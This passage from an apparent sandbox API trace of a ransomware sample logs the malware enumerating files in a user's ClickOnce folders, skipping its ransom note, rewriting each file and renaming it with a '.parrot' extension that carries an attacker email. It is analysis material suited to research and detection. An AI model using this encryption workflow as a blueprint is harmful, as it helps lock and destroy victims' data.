Flags=0x0, Size=0xa0) returned 0x601838 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.794] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b0) returned 0x6105c0 [0036.794] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x688, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CLICKO~2.PAR")) returned 1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.794] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b0) returned 0x610778 [0036.794] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.794] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a5f900, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa6a5f900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d33320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.794] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0036.794] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6a5f900, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa6a5f900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d33320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.794] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc668 | out: hHeap=0x5b0000) returned 1 [0036.794] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1 [0036.794] lstrcmpW (lpString1="manifests", lpString2=".") returned 1 [0036.794] lstrcmpW (lpString1="manifests", lpString2="..") returned 1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x5d1908 [0036.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0036.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0036.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0036.795] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0036.801] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0036.801] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.801] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0036.801] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0036.801] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1 [0036.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60c798 [0036.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.801] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.802] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x43f8 [0036.802] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4510, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.802] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.802] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.802] CloseHandle (hObject=0x270) returned 1 [0036.802] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1 [0036.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60c798 [0036.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0036.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.802] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.802] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x3668 [0036.802] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3780, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.802] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.802] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.802] CloseHandle (hObject=0x270) returned 1 [0036.802] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x38b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cAlternateFileName="GOOGAP~1.CDF")) returned 1 [0036.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60c798 [0036.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.803] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.805] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x38b0 [0036.805] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.805] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.805] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.834] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.834] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x38b0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x38b0, lpOverlapped=0x0) returned 1 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0036.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0036.849] GetLastError () returned 0x0 [0036.849] SetLastError (dwErrCode=0x0) [0036.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0036.849] GetLastError () returned 0x0 [0036.849] SetLastError (dwErrCode=0x0) [0036.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.849] GetLastError () returned 0x0 [0036.849] SetLastError (dwErrCode=0x0) [0036.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0036.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x2240060 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0036.895] GetLastError () returned 0x0 [0036.895] SetLastError (dwErrCode=0x0) [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60c798 [0036.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x610930 [0036.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.895] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x60c798 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d2850 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2930 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d2a78 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2930 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d33c8 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2a78 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0036.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22440a0 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0036.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x669238 [0036.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22440a0 | out: hHeap=0x5b0000) returned 1 [0036.899] WriteFile (in: hFile=0x270, lpBuffer=0x669240*, nNumberOfBytesToWrite=0x39d8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x669240*, lpNumberOfBytesWritten=0x18e604*=0x39d8, lpOverlapped=0x0) returned 1 [0036.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0036.900] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0036.900] CloseHandle (hObject=0x270) returned 1 [0036.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d2850 [0036.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d2998 [0036.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.901] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2998 | out: hHeap=0x5b0000) returned 1 [0036.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610930 | out: hHeap=0x5b0000) returned 1 [0036.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0036.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x60c798 [0036.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x610930 [0036.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0036.904] RtlAllocateHeap (HeapHandle=0x5b0000, 